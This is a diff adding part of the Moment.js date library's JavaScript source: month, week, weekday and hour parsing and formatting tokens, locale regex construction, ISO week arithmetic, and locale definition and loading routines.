+addFormatToken('MMMM', 0, 0, function (format) { + return this.localeData().months(this, format); +}); + +// ALIASES + +addUnitAlias('month', 'M'); + +// PRIORITY + +addUnitPriority('month', 8); + +// PARSING + +addRegexToken('M', match1to2); +addRegexToken('MM', match1to2, match2); +addRegexToken('MMM', function (isStrict, locale) { + return locale.monthsShortRegex(isStrict); +}); +addRegexToken('MMMM', function (isStrict, locale) { + return locale.monthsRegex(isStrict); +}); + +addParseToken(['M', 'MM'], function (input, array) { + array[MONTH] = toInt(input) - 1; +}); + +addParseToken(['MMM', 'MMMM'], function (input, array, config, token) { + var month = config._locale.monthsParse(input, token, config._strict); + // if we didn't find a month name, mark the date as invalid. + if (month != null) { + array[MONTH] = month; + } else { + getParsingFlags(config).invalidMonth = input; + } +}); + +// LOCALES + +var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/; +var defaultLocaleMonths = 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'); +function localeMonths (m, format) { + if (!m) { + return isArray(this._months) ? this._months : + this._months['standalone']; + } + return isArray(this._months) ? this._months[m.month()] : + this._months[(this._months.isFormat || MONTHS_IN_FORMAT).test(format) ? 'format' : 'standalone'][m.month()]; +} + +var defaultLocaleMonthsShort = 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'); +function localeMonthsShort (m, format) { + if (!m) { + return isArray(this._monthsShort) ? this._monthsShort : + this._monthsShort['standalone']; + } + return isArray(this._monthsShort) ? this._monthsShort[m.month()] : + this._monthsShort[MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'][m.month()]; +} + +function handleStrictParse(monthName, format, strict) { + var i, ii, mom, llc = monthName.toLocaleLowerCase(); + if (!this._monthsParse) { + // this is not used + this._monthsParse = []; + this._longMonthsParse = []; + this._shortMonthsParse = []; + for (i = 0; i < 12; ++i) { + mom = createUTC([2000, i]); + this._shortMonthsParse[i] = this.monthsShort(mom, '').toLocaleLowerCase(); + this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase(); + } + } + + if (strict) { + if (format === 'MMM') { + ii = indexOf.call(this._shortMonthsParse, llc); + return ii !== -1 ? ii : null; + } else { + ii = indexOf.call(this._longMonthsParse, llc); + return ii !== -1 ? ii : null; + } + } else { + if (format === 'MMM') { + ii = indexOf.call(this._shortMonthsParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._longMonthsParse, llc); + return ii !== -1 ? ii : null; + } else { + ii = indexOf.call(this._longMonthsParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._shortMonthsParse, llc); + return ii !== -1 ? ii : null; + } + } +} + +function localeMonthsParse (monthName, format, strict) { + var i, mom, regex; + + if (this._monthsParseExact) { + return handleStrictParse.call(this, monthName, format, strict); + } + + if (!this._monthsParse) { + this._monthsParse = []; + this._longMonthsParse = []; + this._shortMonthsParse = []; + } + + // TODO: add sorting + // Sorting makes sure if one month (or abbr) is a prefix of another + // see sorting in computeMonthsParse + for (i = 0; i < 12; i++) { + // make the regex if we don't have it already + mom = createUTC([2000, i]); + if (strict && !this._longMonthsParse[i]) { + this._longMonthsParse[i] = new RegExp('^' + this.months(mom, '').replace('.', '') + '$', 'i'); + this._shortMonthsParse[i] = new RegExp('^' + this.monthsShort(mom, '').replace('.', '') + '$', 'i'); + } + if (!strict && !this._monthsParse[i]) { + regex = '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, ''); + this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i'); + } + // test the regex + if (strict && format === 'MMMM' && this._longMonthsParse[i].test(monthName)) { + return i; + } else if (strict && format === 'MMM' && this._shortMonthsParse[i].test(monthName)) { + return i; + } else if (!strict && this._monthsParse[i].test(monthName)) { + return i; + } + } +} + +// MOMENTS + +function setMonth (mom, value) { + var dayOfMonth; + + if (!mom.isValid()) { + // No op + return mom; + } + + if (typeof value === 'string') { + if (/^\d+$/.test(value)) { + value = toInt(value); + } else { + value = mom.localeData().monthsParse(value); + // TODO: Another silent failure? + if (!isNumber(value)) { + return mom; + } + } + } + + dayOfMonth = Math.min(mom.date(), daysInMonth(mom.year(), value)); + mom._d['set' + (mom._isUTC ? 'UTC' : '') + 'Month'](value, dayOfMonth); + return mom; +} + +function getSetMonth (value) { + if (value != null) { + setMonth(this, value); + hooks.updateOffset(this, true); + return this; + } else { + return get(this, 'Month'); + } +} + +function getDaysInMonth () { + return daysInMonth(this.year(), this.month()); +} + +var defaultMonthsShortRegex = matchWord; +function monthsShortRegex (isStrict) { + if (this._monthsParseExact) { + if (!hasOwnProp(this, '_monthsRegex')) { + computeMonthsParse.call(this); + } + if (isStrict) { + return this._monthsShortStrictRegex; + } else { + return this._monthsShortRegex; + } + } else { + if (!hasOwnProp(this, '_monthsShortRegex')) { + this._monthsShortRegex = defaultMonthsShortRegex; + } + return this._monthsShortStrictRegex && isStrict ? + this._monthsShortStrictRegex : this._monthsShortRegex; + } +} + +var defaultMonthsRegex = matchWord; +function monthsRegex (isStrict) { + if (this._monthsParseExact) { + if (!hasOwnProp(this, '_monthsRegex')) { + computeMonthsParse.call(this); + } + if (isStrict) { + return this._monthsStrictRegex; + } else { + return this._monthsRegex; + } + } else { + if (!hasOwnProp(this, '_monthsRegex')) { + this._monthsRegex = defaultMonthsRegex; + } + return this._monthsStrictRegex && isStrict ? + this._monthsStrictRegex : this._monthsRegex; + } +} + +function computeMonthsParse () { + function cmpLenRev(a, b) { + return b.length - a.length; + } + + var shortPieces = [], longPieces = [], mixedPieces = [], + i, mom; + for (i = 0; i < 12; i++) { + // make the regex if we don't have it already + mom = createUTC([2000, i]); + shortPieces.push(this.monthsShort(mom, '')); + longPieces.push(this.months(mom, '')); + mixedPieces.push(this.months(mom, '')); + mixedPieces.push(this.monthsShort(mom, '')); + } + // Sorting makes sure if one month (or abbr) is a prefix of another it + // will match the longer piece. + shortPieces.sort(cmpLenRev); + longPieces.sort(cmpLenRev); + mixedPieces.sort(cmpLenRev); + for (i = 0; i < 12; i++) { + shortPieces[i] = regexEscape(shortPieces[i]); + longPieces[i] = regexEscape(longPieces[i]); + } + for (i = 0; i < 24; i++) { + mixedPieces[i] = regexEscape(mixedPieces[i]); + } + + this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); + this._monthsShortRegex = this._monthsRegex; + this._monthsStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); + this._monthsShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); +} + +function createDate (y, m, d, h, M, s, ms) { + // can't just apply() to create a date: + // https://stackoverflow.com/q/181348 + var date = new Date(y, m, d, h, M, s, ms); + + // the date constructor remaps years 0-99 to 1900-1999 + if (y < 100 && y >= 0 && isFinite(date.getFullYear())) { + date.setFullYear(y); + } + return date; +} + +function createUTCDate (y) { + var date = new Date(Date.UTC.apply(null, arguments)); + + // the Date.UTC function remaps years 0-99 to 1900-1999 + if (y < 100 && y >= 0 && isFinite(date.getUTCFullYear())) { + date.setUTCFullYear(y); + } + return date; +} + +// start-of-first-week - start-of-year +function firstWeekOffset(year, dow, doy) { + var // first-week day -- which january is always in the first week (4 for iso, 1 for other) + fwd = 7 + dow - doy, + // first-week day local weekday -- which local weekday is fwd + fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7; + + return -fwdlw + fwd - 1; +} + +// https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday +function dayOfYearFromWeeks(year, week, weekday, dow, doy) { + var localWeekday = (7 + weekday - dow) % 7, + weekOffset = firstWeekOffset(year, dow, doy), + dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset, + resYear, resDayOfYear; + + if (dayOfYear <= 0) { + resYear = year - 1; + resDayOfYear = daysInYear(resYear) + dayOfYear; + } else if (dayOfYear > daysInYear(year)) { + resYear = year + 1; + resDayOfYear = dayOfYear - daysInYear(year); + } else { + resYear = year; + resDayOfYear = dayOfYear; + } + + return { + year: resYear, + dayOfYear: resDayOfYear + }; +} + +function weekOfYear(mom, dow, doy) { + var weekOffset = firstWeekOffset(mom.year(), dow, doy), + week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1, + resWeek, resYear; + + if (week < 1) { + resYear = mom.year() - 1; + resWeek = week + weeksInYear(resYear, dow, doy); + } else if (week > weeksInYear(mom.year(), dow, doy)) { + resWeek = week - weeksInYear(mom.year(), dow, doy); + resYear = mom.year() + 1; + } else { + resYear = mom.year(); + resWeek = week; + } + + return { + week: resWeek, + year: resYear + }; +} + +function weeksInYear(year, dow, doy) { + var weekOffset = firstWeekOffset(year, dow, doy), + weekOffsetNext = firstWeekOffset(year + 1, dow, doy); + return (daysInYear(year) - weekOffset + weekOffsetNext) / 7; +} + +// FORMATTING + +addFormatToken('w', ['ww', 2], 'wo', 'week'); +addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek'); + +// ALIASES + +addUnitAlias('week', 'w'); +addUnitAlias('isoWeek', 'W'); + +// PRIORITIES + +addUnitPriority('week', 5); +addUnitPriority('isoWeek', 5); + +// PARSING + +addRegexToken('w', match1to2); +addRegexToken('ww', match1to2, match2); +addRegexToken('W', match1to2); +addRegexToken('WW', match1to2, match2); + +addWeekParseToken(['w', 'ww', 'W', 'WW'], function (input, week, config, token) { + week[token.substr(0, 1)] = toInt(input); +}); + +// HELPERS + +// LOCALES + +function localeWeek (mom) { + return weekOfYear(mom, this._week.dow, this._week.doy).week; +} + +var defaultLocaleWeek = { + dow : 0, // Sunday is the first day of the week. + doy : 6 // The week that contains Jan 1st is the first week of the year. +}; + +function localeFirstDayOfWeek () { + return this._week.dow; +} + +function localeFirstDayOfYear () { + return this._week.doy; +} + +// MOMENTS + +function getSetWeek (input) { + var week = this.localeData().week(this); + return input == null ? week : this.add((input - week) * 7, 'd'); +} + +function getSetISOWeek (input) { + var week = weekOfYear(this, 1, 4).week; + return input == null ? week : this.add((input - week) * 7, 'd'); +} + +// FORMATTING + +addFormatToken('d', 0, 'do', 'day'); + +addFormatToken('dd', 0, 0, function (format) { + return this.localeData().weekdaysMin(this, format); +}); + +addFormatToken('ddd', 0, 0, function (format) { + return this.localeData().weekdaysShort(this, format); +}); + +addFormatToken('dddd', 0, 0, function (format) { + return this.localeData().weekdays(this, format); +}); + +addFormatToken('e', 0, 0, 'weekday'); +addFormatToken('E', 0, 0, 'isoWeekday'); + +// ALIASES + +addUnitAlias('day', 'd'); +addUnitAlias('weekday', 'e'); +addUnitAlias('isoWeekday', 'E'); + +// PRIORITY +addUnitPriority('day', 11); +addUnitPriority('weekday', 11); +addUnitPriority('isoWeekday', 11); + +// PARSING + +addRegexToken('d', match1to2); +addRegexToken('e', match1to2); +addRegexToken('E', match1to2); +addRegexToken('dd', function (isStrict, locale) { + return locale.weekdaysMinRegex(isStrict); +}); +addRegexToken('ddd', function (isStrict, locale) { + return locale.weekdaysShortRegex(isStrict); +}); +addRegexToken('dddd', function (isStrict, locale) { + return locale.weekdaysRegex(isStrict); +}); + +addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) { + var weekday = config._locale.weekdaysParse(input, token, config._strict); + // if we didn't get a weekday name, mark the date as invalid + if (weekday != null) { + week.d = weekday; + } else { + getParsingFlags(config).invalidWeekday = input; + } +}); + +addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) { + week[token] = toInt(input); +}); + +// HELPERS + +function parseWeekday(input, locale) { + if (typeof input !== 'string') { + return input; + } + + if (!isNaN(input)) { + return parseInt(input, 10); + } + + input = locale.weekdaysParse(input); + if (typeof input === 'number') { + return input; + } + + return null; +} + +function parseIsoWeekday(input, locale) { + if (typeof input === 'string') { + return locale.weekdaysParse(input) % 7 || 7; + } + return isNaN(input) ? null : input; +} + +// LOCALES + +var defaultLocaleWeekdays = 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'); +function localeWeekdays (m, format) { + if (!m) { + return isArray(this._weekdays) ? this._weekdays : + this._weekdays['standalone']; + } + return isArray(this._weekdays) ? this._weekdays[m.day()] : + this._weekdays[this._weekdays.isFormat.test(format) ? 'format' : 'standalone'][m.day()]; +} + +var defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'); +function localeWeekdaysShort (m) { + return (m) ? this._weekdaysShort[m.day()] : this._weekdaysShort; +} + +var defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'); +function localeWeekdaysMin (m) { + return (m) ? this._weekdaysMin[m.day()] : this._weekdaysMin; +} + +function handleStrictParse$1(weekdayName, format, strict) { + var i, ii, mom, llc = weekdayName.toLocaleLowerCase(); + if (!this._weekdaysParse) { + this._weekdaysParse = []; + this._shortWeekdaysParse = []; + this._minWeekdaysParse = []; + + for (i = 0; i < 7; ++i) { + mom = createUTC([2000, 1]).day(i); + this._minWeekdaysParse[i] = this.weekdaysMin(mom, '').toLocaleLowerCase(); + this._shortWeekdaysParse[i] = this.weekdaysShort(mom, '').toLocaleLowerCase(); + this._weekdaysParse[i] = this.weekdays(mom, '').toLocaleLowerCase(); + } + } + + if (strict) { + if (format === 'dddd') { + ii = indexOf.call(this._weekdaysParse, llc); + return ii !== -1 ? ii : null; + } else if (format === 'ddd') { + ii = indexOf.call(this._shortWeekdaysParse, llc); + return ii !== -1 ? ii : null; + } else { + ii = indexOf.call(this._minWeekdaysParse, llc); + return ii !== -1 ? ii : null; + } + } else { + if (format === 'dddd') { + ii = indexOf.call(this._weekdaysParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._shortWeekdaysParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._minWeekdaysParse, llc); + return ii !== -1 ? ii : null; + } else if (format === 'ddd') { + ii = indexOf.call(this._shortWeekdaysParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._weekdaysParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._minWeekdaysParse, llc); + return ii !== -1 ? ii : null; + } else { + ii = indexOf.call(this._minWeekdaysParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._weekdaysParse, llc); + if (ii !== -1) { + return ii; + } + ii = indexOf.call(this._shortWeekdaysParse, llc); + return ii !== -1 ? ii : null; + } + } +} + +function localeWeekdaysParse (weekdayName, format, strict) { + var i, mom, regex; + + if (this._weekdaysParseExact) { + return handleStrictParse$1.call(this, weekdayName, format, strict); + } + + if (!this._weekdaysParse) { + this._weekdaysParse = []; + this._minWeekdaysParse = []; + this._shortWeekdaysParse = []; + this._fullWeekdaysParse = []; + } + + for (i = 0; i < 7; i++) { + // make the regex if we don't have it already + + mom = createUTC([2000, 1]).day(i); + if (strict && !this._fullWeekdaysParse[i]) { + this._fullWeekdaysParse[i] = new RegExp('^' + this.weekdays(mom, '').replace('.', '\.?') + '$', 'i'); + this._shortWeekdaysParse[i] = new RegExp('^' + this.weekdaysShort(mom, '').replace('.', '\.?') + '$', 'i'); + this._minWeekdaysParse[i] = new RegExp('^' + this.weekdaysMin(mom, '').replace('.', '\.?') + '$', 'i'); + } + if (!this._weekdaysParse[i]) { + regex = '^' + this.weekdays(mom, '') + '|^' + this.weekdaysShort(mom, '') + '|^' + this.weekdaysMin(mom, ''); + this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i'); + } + // test the regex + if (strict && format === 'dddd' && this._fullWeekdaysParse[i].test(weekdayName)) { + return i; + } else if (strict && format === 'ddd' && this._shortWeekdaysParse[i].test(weekdayName)) { + return i; + } else if (strict && format === 'dd' && this._minWeekdaysParse[i].test(weekdayName)) { + return i; + } else if (!strict && this._weekdaysParse[i].test(weekdayName)) { + return i; + } + } +} + +// MOMENTS + +function getSetDayOfWeek (input) { + if (!this.isValid()) { + return input != null ? this : NaN; + } + var day = this._isUTC ? this._d.getUTCDay() : this._d.getDay(); + if (input != null) { + input = parseWeekday(input, this.localeData()); + return this.add(input - day, 'd'); + } else { + return day; + } +} + +function getSetLocaleDayOfWeek (input) { + if (!this.isValid()) { + return input != null ? this : NaN; + } + var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7; + return input == null ? weekday : this.add(input - weekday, 'd'); +} + +function getSetISODayOfWeek (input) { + if (!this.isValid()) { + return input != null ? this : NaN; + } + + // behaves the same as moment#day except + // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6) + // as a setter, sunday should belong to the previous week. + + if (input != null) { + var weekday = parseIsoWeekday(input, this.localeData()); + return this.day(this.day() % 7 ? weekday : weekday - 7); + } else { + return this.day() || 7; + } +} + +var defaultWeekdaysRegex = matchWord; +function weekdaysRegex (isStrict) { + if (this._weekdaysParseExact) { + if (!hasOwnProp(this, '_weekdaysRegex')) { + computeWeekdaysParse.call(this); + } + if (isStrict) { + return this._weekdaysStrictRegex; + } else { + return this._weekdaysRegex; + } + } else { + if (!hasOwnProp(this, '_weekdaysRegex')) { + this._weekdaysRegex = defaultWeekdaysRegex; + } + return this._weekdaysStrictRegex && isStrict ? + this._weekdaysStrictRegex : this._weekdaysRegex; + } +} + +var defaultWeekdaysShortRegex = matchWord; +function weekdaysShortRegex (isStrict) { + if (this._weekdaysParseExact) { + if (!hasOwnProp(this, '_weekdaysRegex')) { + computeWeekdaysParse.call(this); + } + if (isStrict) { + return this._weekdaysShortStrictRegex; + } else { + return this._weekdaysShortRegex; + } + } else { + if (!hasOwnProp(this, '_weekdaysShortRegex')) { + this._weekdaysShortRegex = defaultWeekdaysShortRegex; + } + return this._weekdaysShortStrictRegex && isStrict ? + this._weekdaysShortStrictRegex : this._weekdaysShortRegex; + } +} + +var defaultWeekdaysMinRegex = matchWord; +function weekdaysMinRegex (isStrict) { + if (this._weekdaysParseExact) { + if (!hasOwnProp(this, '_weekdaysRegex')) { + computeWeekdaysParse.call(this); + } + if (isStrict) { + return this._weekdaysMinStrictRegex; + } else { + return this._weekdaysMinRegex; + } + } else { + if (!hasOwnProp(this, '_weekdaysMinRegex')) { + this._weekdaysMinRegex = defaultWeekdaysMinRegex; + } + return this._weekdaysMinStrictRegex && isStrict ? + this._weekdaysMinStrictRegex : this._weekdaysMinRegex; + } +} + + +function computeWeekdaysParse () { + function cmpLenRev(a, b) { + return b.length - a.length; + } + + var minPieces = [], shortPieces = [], longPieces = [], mixedPieces = [], + i, mom, minp, shortp, longp; + for (i = 0; i < 7; i++) { + // make the regex if we don't have it already + mom = createUTC([2000, 1]).day(i); + minp = this.weekdaysMin(mom, ''); + shortp = this.weekdaysShort(mom, ''); + longp = this.weekdays(mom, ''); + minPieces.push(minp); + shortPieces.push(shortp); + longPieces.push(longp); + mixedPieces.push(minp); + mixedPieces.push(shortp); + mixedPieces.push(longp); + } + // Sorting makes sure if one weekday (or abbr) is a prefix of another it + // will match the longer piece. + minPieces.sort(cmpLenRev); + shortPieces.sort(cmpLenRev); + longPieces.sort(cmpLenRev); + mixedPieces.sort(cmpLenRev); + for (i = 0; i < 7; i++) { + shortPieces[i] = regexEscape(shortPieces[i]); + longPieces[i] = regexEscape(longPieces[i]); + mixedPieces[i] = regexEscape(mixedPieces[i]); + } + + this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); + this._weekdaysShortRegex = this._weekdaysRegex; + this._weekdaysMinRegex = this._weekdaysRegex; + + this._weekdaysStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); + this._weekdaysShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); + this._weekdaysMinStrictRegex = new RegExp('^(' + minPieces.join('|') + ')', 'i'); +} + +// FORMATTING + +function hFormat() { + return this.hours() % 12 || 12; +} + +function kFormat() { + return this.hours() || 24; +} + +addFormatToken('H', ['HH', 2], 0, 'hour'); +addFormatToken('h', ['hh', 2], 0, hFormat); +addFormatToken('k', ['kk', 2], 0, kFormat); + +addFormatToken('hmm', 0, 0, function () { + return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2); +}); + +addFormatToken('hmmss', 0, 0, function () { + return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2) + + zeroFill(this.seconds(), 2); +}); + +addFormatToken('Hmm', 0, 0, function () { + return '' + this.hours() + zeroFill(this.minutes(), 2); +}); + +addFormatToken('Hmmss', 0, 0, function () { + return '' + this.hours() + zeroFill(this.minutes(), 2) + + zeroFill(this.seconds(), 2); +}); + +function meridiem (token, lowercase) { + addFormatToken(token, 0, 0, function () { + return this.localeData().meridiem(this.hours(), this.minutes(), lowercase); + }); +} + +meridiem('a', true); +meridiem('A', false); + +// ALIASES + +addUnitAlias('hour', 'h'); + +// PRIORITY +addUnitPriority('hour', 13); + +// PARSING + +function matchMeridiem (isStrict, locale) { + return locale._meridiemParse; +} + +addRegexToken('a', matchMeridiem); +addRegexToken('A', matchMeridiem); +addRegexToken('H', match1to2); +addRegexToken('h', match1to2); +addRegexToken('k', match1to2); +addRegexToken('HH', match1to2, match2); +addRegexToken('hh', match1to2, match2); +addRegexToken('kk', match1to2, match2); + +addRegexToken('hmm', match3to4); +addRegexToken('hmmss', match5to6); +addRegexToken('Hmm', match3to4); +addRegexToken('Hmmss', match5to6); + +addParseToken(['H', 'HH'], HOUR); +addParseToken(['k', 'kk'], function (input, array, config) { + var kInput = toInt(input); + array[HOUR] = kInput === 24 ? 0 : kInput; +}); +addParseToken(['a', 'A'], function (input, array, config) { + config._isPm = config._locale.isPM(input); + config._meridiem = input; +}); +addParseToken(['h', 'hh'], function (input, array, config) { + array[HOUR] = toInt(input); + getParsingFlags(config).bigHour = true; +}); +addParseToken('hmm', function (input, array, config) { + var pos = input.length - 2; + array[HOUR] = toInt(input.substr(0, pos)); + array[MINUTE] = toInt(input.substr(pos)); + getParsingFlags(config).bigHour = true; +}); +addParseToken('hmmss', function (input, array, config) { + var pos1 = input.length - 4; + var pos2 = input.length - 2; + array[HOUR] = toInt(input.substr(0, pos1)); + array[MINUTE] = toInt(input.substr(pos1, 2)); + array[SECOND] = toInt(input.substr(pos2)); + getParsingFlags(config).bigHour = true; +}); +addParseToken('Hmm', function (input, array, config) { + var pos = input.length - 2; + array[HOUR] = toInt(input.substr(0, pos)); + array[MINUTE] = toInt(input.substr(pos)); +}); +addParseToken('Hmmss', function (input, array, config) { + var pos1 = input.length - 4; + var pos2 = input.length - 2; + array[HOUR] = toInt(input.substr(0, pos1)); + array[MINUTE] = toInt(input.substr(pos1, 2)); + array[SECOND] = toInt(input.substr(pos2)); +}); + +// LOCALES + +function localeIsPM (input) { + // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays + // Using charAt should be more compatible. + return ((input + '').toLowerCase().charAt(0) === 'p'); +} + +var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i; +function localeMeridiem (hours, minutes, isLower) { + if (hours > 11) { + return isLower ? 'pm' : 'PM'; + } else { + return isLower ? 'am' : 'AM'; + } +} + + +// MOMENTS + +// Setting the hour should keep the time, because the user explicitly +// specified which hour he wants. So trying to maintain the same hour (in +// a new timezone) makes sense. Adding/subtracting hours does not follow +// this rule. +var getSetHour = makeGetSet('Hours', true); + +// months +// week +// weekdays +// meridiem +var baseConfig = { + calendar: defaultCalendar, + longDateFormat: defaultLongDateFormat, + invalidDate: defaultInvalidDate, + ordinal: defaultOrdinal, + dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse, + relativeTime: defaultRelativeTime, + + months: defaultLocaleMonths, + monthsShort: defaultLocaleMonthsShort, + + week: defaultLocaleWeek, + + weekdays: defaultLocaleWeekdays, + weekdaysMin: defaultLocaleWeekdaysMin, + weekdaysShort: defaultLocaleWeekdaysShort, + + meridiemParse: defaultLocaleMeridiemParse +}; + +// internal storage for locale config files +var locales = {}; +var localeFamilies = {}; +var globalLocale; + +function normalizeLocale(key) { + return key ? key.toLowerCase().replace('_', '-') : key; +} + +// pick the locale from the array +// try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each +// substring from most specific to least, but move to the next array item if it's a more specific variant than the current root +function chooseLocale(names) { + var i = 0, j, next, locale, split; + + while (i < names.length) { + split = normalizeLocale(names[i]).split('-'); + j = split.length; + next = normalizeLocale(names[i + 1]); + next = next ? next.split('-') : null; + while (j > 0) { + locale = loadLocale(split.slice(0, j).join('-')); + if (locale) { + return locale; + } + if (next && next.length >= j && compareArrays(split, next, true) >= j - 1) { + //the next array item is better than a shallower substring of this one + break; + } + j--; + } + i++; + } + return null; +} + +function loadLocale(name) { + var oldLocale = null; + // TODO: Find a better way to register and load all the locales in Node + if (!locales[name] && (typeof module !== 'undefined') && + module && module.exports) { + try { + oldLocale = globalLocale._abbr; + var aliasedRequire = require; + aliasedRequire('./locale/' + name); + getSetGlobalLocale(oldLocale); + } catch (e) {} + } + return locales[name]; +} + +// This function will load locale and then set the global locale. If +// no arguments are passed in, it will simply return the current global +// locale key. +function getSetGlobalLocale (key, values) { + var data; + if (key) { + if (isUndefined(values)) { + data = getLocale(key); + } + else { + data = defineLocale(key, values); + } + + if (data) { + // moment.duration._locale = moment._locale = data; + globalLocale = data; + } + } + + return globalLocale._abbr; +} + +function defineLocale (name, config) { + if (config !== null) { + var parentConfig = baseConfig; + config.abbr = name; + if (locales[name] != null) { + deprecateSimple('defineLocaleOverride', + 'use moment.updateLocale(localeName, config) to change ' + + 'an existing locale. moment.defineLocale(localeName, ' + + 'config) should only be used for creating a new locale ' + + 'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.'); + parentConfig = locales[name]._config; + } else if (config.parentLocale != null) { + if (locales[config.parentLocale] != null) { + parentConfig = locales[config.parentLocale]._config; + } else { + if (!localeFamilies[config.parentLocale]) { + localeFamilies[config.parentLocale] = []; + } + localeFamilies[config.parentLocale].push({ + name: name, + config: config + }); + return null; + } + } + locales[name] = new Locale(mergeConfigs(parentConfig, config)); + + if (localeFamilies[name]) { + localeFamilies[name].forEach(function (x) { + defineLocale(x.name, x.config); + }); + } + + // backwards compat for now: also set the locale + // make sure we set the locale AFTER all child locales have been + // created, so we won't end up with the child locale set. + getSetGlobalLocale(name); + + + return locales[name]; + } else { + // useful for testing + delete locales[name]; + return null; + } +} + +function updateLocale(name, config) { + if (config != null) { + var locale, tmpLocale, parentConfig = baseConfig; + // MERGE + tmpLocale = loadLocale(name); + if (tmpLocale != null) { + parentConfig = tmpLocale._config; + } + config = mergeConfigs(parentConfig, config); + locale = new Locale(config); + locale.parentLocale = locales[name]; + locales[name] = locale; + + // backwards compat for now: also set the locale + getSetGlobalLocale(name); + } else { + // pass null for config to unupdate, useful for tests + if (locales[name] != null) { + if (locales[name].parentLocale != null) { + locales[name] = locales[name].parentLocale; + } else if (locales[name] != null) { + delete locales[name]; + } + } + } + return locales[name]; +} + +// returns locale data +function getLocale (key) { + var locale; + + if (key && key._locale && key._locale._abbr) { + key = key._locale._abbr; + } + + if (!key) { + return globalLocale; + } + + if (!isArray(key)) { + //short-circuit everything else + locale = loadLocale(key); + if (locale) { + return locale; + } + key = [key]; + } + + return chooseLocale(key); +} + +function listLocales() { + return keys(locales); +} + +function checkOverflow (m) { + var overflow; + var a = m._a; + + if (a && getParsingFlags(m).overflow === -2) { + overflow = + a[MONTH] < 0 || a[MONTH] > 11 ? MONTH : + a[DATE] < 1 || a[DATE] > daysInMonth(a[YEAR], a[MONTH]) ? DATE : + a[HOUR] < 0 || a[HOUR] > 24 || (a[HOUR] === 24 && (a[MINUTE] !== 0 || a[SECOND] !== 0 || a[MILLISECOND] !== 0)) ? HOUR : + a[MINUTE] < 0 || a[MINUTE] > 59 ? MINUTE : + a[SECOND] < 0 || a[SECOND] > 59 ? SECOND : + a[MILLISECOND] < 0 || a[MILLISECOND] > 999 ? MILLISECOND : + -1; + + if (getParsingFlags(m)._overflowDayOfYear && (overflow < YEAR || overflow > DATE)) { + overflow = DATE; + } + if (getParsingFlags(m)._overflowWeeks && overflow === -1) { + overflow = WEEK; + } + if (getParsingFlags(m)._overflowWeekday && overflow === -1) { + overflow = WEEKDAY; + } + + getParsingFlags(m).overflow = overflow; + } + + return m; +} + +// Pick the first defined of two or three arguments. +function defaults(a, b, c) { + if (a != null) { + return a; + } + if (b != null) { + return b; + } + return c; +} + +function currentDateArray(config) { + // hooks is actually the exported moment object + var nowValue = new Date(hooks.now()); + if (config._useUTC) { + return [nowValue.getUTCFullYear(), nowValue.getUTCMonth(), nowValue.getUTCDate()]; + } + return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()]; +} + +// convert an array to a date. +// the array should mirror the parameters below +// note: all values past the year are optional and will default to the lowest possible value. +// [year, month, day , hour, minute, second, millisecond] +function configFromArray (config) { + var i, date, input = [], currentDate, expectedWeekday, yearToUse; + + if (config._d) { + return; + } + + currentDate = currentDateArray(config); + + //compute day of the year from weeks and weekdays + if (config._w && config._a[DATE] == null && config._a[MONTH] == null) { + dayOfYearFromWeekInfo(config); + } + + //if the day of the year is set, figure out what it is + if (config._dayOfYear != null) { + yearToUse = defaults(config._a[YEAR], currentDate[YEAR]); + + if (config._dayOfYear > daysInYear(yearToUse) || config._dayOfYear === 0) { + getParsingFlags(config)._overflowDayOfYear = true; + } + + date = createUTCDate(yearToUse, 0, config._dayOfYear); + config._a[MONTH] = date.getUTCMonth(); + config._a[DATE] = date.getUTCDate(); + } + + // Default to current date. + // * if no year, month, day of month are given, default to today + // * if day of month is given, default month and year + // * if month is given, default only year + // * if year is given, don't default anything + for (i = 0; i < 3 && config._a[i] == null; ++i) { + config._a[i] = input[i] = currentDate[i]; + } + + // Zero out whatever was not defaulted, including time + for (; i < 7; i++) { + config._a[i] = input[i] = (config._a[i] == null) ? (i === 2 ? 1 : 0) : config._a[i]; + } 